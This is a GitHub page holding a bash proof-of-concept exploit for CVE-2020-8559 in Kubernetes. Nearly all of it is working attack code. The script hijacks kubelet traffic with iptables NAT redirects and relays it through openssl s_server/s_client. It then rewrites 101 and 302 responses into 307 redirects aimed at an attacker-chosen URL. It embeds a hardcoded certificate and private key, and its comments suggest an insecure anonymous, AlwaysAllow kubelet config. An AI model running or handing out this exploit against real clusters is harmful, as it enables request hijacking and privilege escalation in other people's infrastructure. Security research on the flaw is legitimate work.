-
Notifications
You must be signed in to change notification settings - Fork 3
/
poc-2020-8559.sh
executable file
·221 lines (200 loc) · 6.91 KB
/
poc-2020-8559.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
#! /bin/bash
# POC-2020-8559
# Simple exploit for CVE-2020-8559. We steal
# all the connections to the kubelet using iptables
# then rewrite the 101 or 302 responses to 307.
#
# We don't have access to the kube-apiserver's
# x509 cert, so kubelet webhook auth can be a
# problem. No problem with this config fragment:
#authentication:
# anonymous:
# enabled: true
#authorization:
# mode: AlwaysAllow
########################################
# Parse options
# defaults
outputchain="no"
targeturl="http://127.0.0.1:8080/honk"
kubelethostport="127.0.0.1:10250"
honkhostport="0.0.0.0:20250"
certfile=""
privkeyfile=""
ishostport() {
echo "${1}" | grep "^[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\:[0-9][0-9]*$" >> /dev/null
exit $?
}
usage() {
cat <<-EOF
Usage: $0 [-o] [-t targeturl] [-k kubelethostport] [-h honkhostport] [-c certfile] [-p privatekeyfile]
-o Redirect OUTPUT chain, in addition to PREROUTING.
Needed for testing on single-node clusters.
Defaults:
targeturl: ${targeturl}
kubelethostport: ${kubelethostport}
honkhostport: ${honkhostport}
certfile: (hardcoded tempfile)
privatekeyfile: (hardcoded tempfile)
EOF
}
while getopts ":t:k:h:c:p:o" opt; do
case "${opt}" in
o )
outputchain="yes"
;;
t )
targeturl="${OPTARG}"
;;
k )
if `ishostport "${OPTARG}"` ; then
kubelethostport="${OPTARG}"
else
usage
echo
echo "-k requires an argument of the form X.X.X.X:YYY"
exit 1
fi
;;
h )
if `ishostport "${OPTARG}"` ; then
honkhostport="${OPTARG}"
else
usage
echo
echo "-k requires an argument of the form X.X.X.X:YYY"
exit 1
fi
;;
c )
if [ -r "${OPTARG}" ]; then
certfile="${OPTARG}"
else
usage
echo
echo "-c requires a cert file"
exit 1
fi
;;
p )
if [ -r "${OPTARG}" ]; then
privkeyfile="${OPTARG}"
else
usage
echo
echo "-p requires a private key file"
exit 1
fi
;;
: )
usage
exit 1
;;
\? )
usage
exit 1
;;
esac
shift $((OPTIND -1))
done
kubeletport=`echo "${kubelethostport}" | sed 's/^[0-9\.]*://'`
honkport=`echo "${honkhostport}" | sed 's/^[0-9\.]*://'`
# OpenSSL < 1.1 -accept requires only the port number
openssl s_server --help 2>&1 | grep 'port to accept on (default is 4433)' > /dev/null
if [ $? -eq 0 ]; then
honkhostport="${honkport}"
fi
########################################
# Set up our firewall rules
if [ x"${outputchain}" == "xyes" ]; then
iptables -t nat -I OUTPUT 1 -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
if [ $? -ne 0 ]; then
echo "Couldn't set OUTPUT iptables rule"
exit 255
fi
fi
iptables -t nat -I PREROUTING 1 -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
if [ $? -ne 0 ]; then
if [ x"${outputchain}" == "xyes" ]; then
iptables -t nat -D OUTPUT -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
fi
echo "Couldn't set PREROUTING iptables rule"
exit 255
fi
########################################
# Prep some work files
cleanup() {
if [ x"${outputchain}" == "xyes" ]; then
iptables -t nat -D OUTPUT -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
fi
iptables -t nat -D PREROUTING -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
rm -r "${workdir}"
exit 1
}
trap cleanup INT
workdir=`mktemp -d`
fifo="${workdir}/fifo"
mkfifo "${fifo}"
if [ -z "${certfile}" ]; then
certfile="${workdir}/cert.pem"
cat <<-EOF > "${certfile}"
-----BEGIN CERTIFICATE-----
MIIDETCCAfkCFDGJub2NUVs9GXPCEmlLlLIg2LNOMA0GCSqGSIb3DQEBCwUAMEUx
CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl
cm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwNzE3MjE0MzQxWhcNMzAwNzE1MjE0
MzQxWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UE
CgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEArBTx9aIRlB/crQrW12+C0Y2DW/XEUgjIyW2Oun/JxcOM07tV
slFUTmpsGbsaArnkhGrzEh3m4cuF3jpvSCdDTPt1pIstNnjKYCBXmKlQjJCDaVXc
SY9P85ZMJfrfmJFrKljaOigCj8eJTae0mwFH6A/oER0MmPo6PnyNtrC31LV581ro
jBLyoZZdTSpyOIFzoEqndKAb+HsD7s7JCv+8HiYNa+qaDB4QR7x4wqq/Pgoa30/Y
s/sFJf9jPGGH/J76jUds724wuIOEe7KQ5hVff+/zbjtEWknrza50rTGU7wcr/3gh
zJqCKzD4Xx/nJduBWujKD4uVQqvQOIGiprSK1QIDAQABMA0GCSqGSIb3DQEBCwUA
A4IBAQAFscLn8zbFTuEPDQIV42o/K4tgq+Tlt3yLTXvvfi1oG5gJTLeWS7IxOzd7
PJVodJwOYA5bTq4Ng3xKUpjAcVeX1ZcMVTSKJtyiBP5IKIwMgB6H9vIvzSL0W2qr
9ONDQqr22C6INOQ+0xtqFtuMs4jeS14ptQRiQwVQ/HtVB4+ONsdN21oerB9lthor
yU1r7vn1EiyHACWPEHJQH/ImjQC9M57XtXROMWYQuo+Olbo6B3RwpPjMGeQ5NLV8
bVLjaPB+gNMy/h7x61PY/bJrEwOnqOEIOkHUMSn+YqwZMT4oELRoexTDFz3BtAxk
P+hBfSAW9yrUS6VDy9srW9PkIhqy
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsFPH1ohGUH9yt
CtbXb4LRjYNb9cRSCMjJbY66f8nFw4zTu1WyUVROamwZuxoCueSEavMSHebhy4Xe
Om9IJ0NM+3Wkiy02eMpgIFeYqVCMkINpVdxJj0/zlkwl+t+YkWsqWNo6KAKPx4lN
p7SbAUfoD+gRHQyY+jo+fI22sLfUtXnzWuiMEvKhll1NKnI4gXOgSqd0oBv4ewPu
zskK/7weJg1r6poMHhBHvHjCqr8+ChrfT9iz+wUl/2M8YYf8nvqNR2zvbjC4g4R7
spDmFV9/7/NuO0RaSevNrnStMZTvByv/eCHMmoIrMPhfH+cl24Fa6MoPi5VCq9A4
gaKmtIrVAgMBAAECggEAOEz6BQWrfq0WBD+hnwbK5EjKi5HTU4uwNcb0haw9lciv
EK8gEKFvVeCX0atXjUDItVJQiMLjwUhXWigANLkz2cID8XvfpQzMGbs7LaVnxzWY
6SPAWQjcfbPU4jA8a6xYRZigfZqNjAEauR9/hZ9bqV9a7A53Cq4D1GHn87fJzXux
MzdDF6JumWtcqM+rmiPKhbSf+6Blxypee7p3oOa232MjZCRXRFUhdNIepoVvTmh6
jigMlMtIlS0F1Ak3uA2SCQhqHdhWd6lkeFZigR9fIl+GyG4rcBaWwkZN5xwrWONI
gl/L9eu6Ndt7yEvUf4vI2nW4ryZOyj/pMwajJYQOGQKBgQDW7ZJUbxVbyG9gTUql
cYf8KwUH/PZ1NPY9ciZuLia9loep1pAnpx9wA+ZD6ZEjzbWJxbWEUbjl17kgtU+Y
F8d0uujvHOgSIrAktMgBGom4SOLNmWXnau5G92r32S3q/R5b3zowo8nfrPfUrB2H
CQZQ53YGCgSAbdIzTXCoIS/nRwKBgQDM907FdYmJnxSf96Hav5RVdhgRE+Ty0lJM
+AB/Z3UdHeKZpxMChCzPL8KVsOlmGKznvz1o+xTbORlbRt9dmY/WvQQ3sEDF4Irz
D+DbZl/VU8Tm43Wi3yTtrffWvLtnBm/yqH0ANMgh6boutbZQN5K7IjUM41JuJ12G
DjF/tpkDAwKBgDlicQFuL0u0NliGCnol1+LyMYOyfLNKkrxRMAWW+O0BtfMYwKB1
tKUZxW84e3INyHyidxZ/I1jqwhkDj97R6oU2Kl89XpEJBfKm+gehaEf13eh7HoQt
PrVf9gV6zRHCx0pMTaMS+CFqczkrQy78r90GD7MJFa6co9TixkN9qOadAoGAS86g
LLn3H5Zdu3iMPWqkAyPFbPONtx2A4QTMslJiZ115RNkdV83pAMwqTND80g0ITkJW
BTDwGtC4hyDkVisInySTncErg8QzwAg8YwkvIqhz5+1ywcWEVAAG7T4qlcU0vGwC
p4PeDWTzvnjosCyNsXbKZjThdOpMVduEBTdUyl8CgYEAsENT/xtl9AcWMpYul65g
1lEG1judUdl+gfiU7NOlttv1ExF0Yu+0LG30VYwDxCsmsJZSv2fdMasrUlLEV7DI
DwHzdZHFICyE9ab3oZ3la5BXuXEOVzJ9psTEt8ERbnI/Vd7CM4T2ngeTgxzxeuzF
6VgR/gjAITdpN96t/kLOVjE=
-----END PRIVATE KEY-----
EOF
fi
if [ -z "${privkeyfile}" ]; then
privkeyfile="${certfile}"
fi
########################################
# Loop forever, ferrying one TLS connection
# to the kubelet per invocation.
while true; do
openssl s_server -accept "${honkhostport}" -cert "${certfile}" -key "${privkeyfile}" -quiet -no_ign_eof -naccept 1 <"${fifo}" | \
openssl s_client -connect "${kubelethostport}" -quiet -no_ign_eof | \
sed -u -e 's/^Location.*$/X-Honk: Honk\r/' -e 's| [13]0[12] [SF][wo][iu][tn][cd].*$| 307 Temporary Redirect\r\nLocation: '"${targeturl}"'\r|' -e 's/^Connection.*$/X-Honk: Honk\r/' >> "${fifo}"
done